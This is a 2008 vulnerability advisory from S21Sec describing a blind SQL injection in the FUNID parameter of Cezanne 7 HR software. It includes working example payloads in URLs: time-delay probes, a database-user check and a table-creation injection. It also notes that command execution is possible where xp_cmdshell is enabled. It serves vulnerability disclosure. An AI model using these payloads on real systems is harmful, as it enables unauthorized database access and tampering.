############################################################## - S21Sec Advisory - ############################################################## Title: Cezanne SW (login required) Blind SQL Injection ID: S21SEC-043-en Severity: High History: 02.Jan.2008 Vulnerability discovered Authors: Juan de la Fuente Costa (jfuente (at) s21sec (dot) com [email concealed]) Fco Javier Puerta Rubio (fjpuerta (at) s21sec (dot) com [email concealed]) URL: http://www.s21sec.com/avisos/s21sec-43-en.txt [ SUMMARY ] Cezanne develops Human Capital Management Software. This Software provides leading-edge Human Capital Management solutions that help companies better develop, manage, reward and retain their most important asset - their people. Cezanne include applications for employee performance management, career & succession planning, training & development, people management, recruitment, salary analysis & compensation planning, pay review, employee survey and organization charting. [ AFFECTED VERSIONS ] This vulnerability has been tested in Cezanne 7. [ SCENARIO ] The test has been done in the following environment: MS Windows Server 2003 Enterprise Edition, IIS 6.0, MS SQL Server 2005 [ DESCRIPTION ] S21sec has discovered a vulnerability in Cezanne 7 that allows injecting SQL code in text variables. This issue allows SQL code execution in the application server. The vulnerable param is "FUNID" Some examples of the exploitation: URL[ NEEDS LOGIN ]: https://www.somesite.es/cezanneweb/CFLookup.asp?FUNID=7302015;waitfor%20 delay%20'0:0:20';--&InIFrame=1 STRING:;waitfor%20delay%20'0:0:20';-- URL[ NEEDS LOGIN ]: https://www.somesite.es/cezanneweb/CznCommon/CznCustomContainer.asp?FUNI D=7302031;waitfor%20delay%20'0:0:05';-- STRING:;waitfor%20delay%20'0:0:05';-- To get more information about the system or create tables: If the following request, it takes a delay of ten seconds, the database user is not 'sa': https://www.somesite.es/cezanneweb/CznCommon/CznCustomContainer.asp?FUNI D=7302031;if (select user) <> 'sa' waitfor delay '0:0:10';-- In MS SQL Server 2005, xp_cmdshell is disable by default. But We can create tables with the following request: https://www.somesite.es/cezanneweb/CznCommon/CznCustomContainer.asp?FUNI D=7302031;CREATE TABLE tabla_test_blindSQL_intrusion (clave int IDENTITY (100,1) PRIMARY KEY, nombre nvarchar (50));waitfor%20delay%20'0:0:10';-- If xp_cmdshell is enable, It is possible execute command line instructions. [ WORKAROUND ] Contact with Cezanne Software at: http://www.cezannesw.com/ [ ACKNOWLEDGMENTS ] This vulnerability has been discovered and researched by: - Juan de la Fuente Costa S21Sec - Fco Javier Puerta Rubio S21Sec Special thanks to Vicente Diaz Saez. You can find the last version of this warning at: http://www.s21sec.com/es/avisos/s21sec-043-en.txt http://www.s21sec.com http://blog.s21sec.com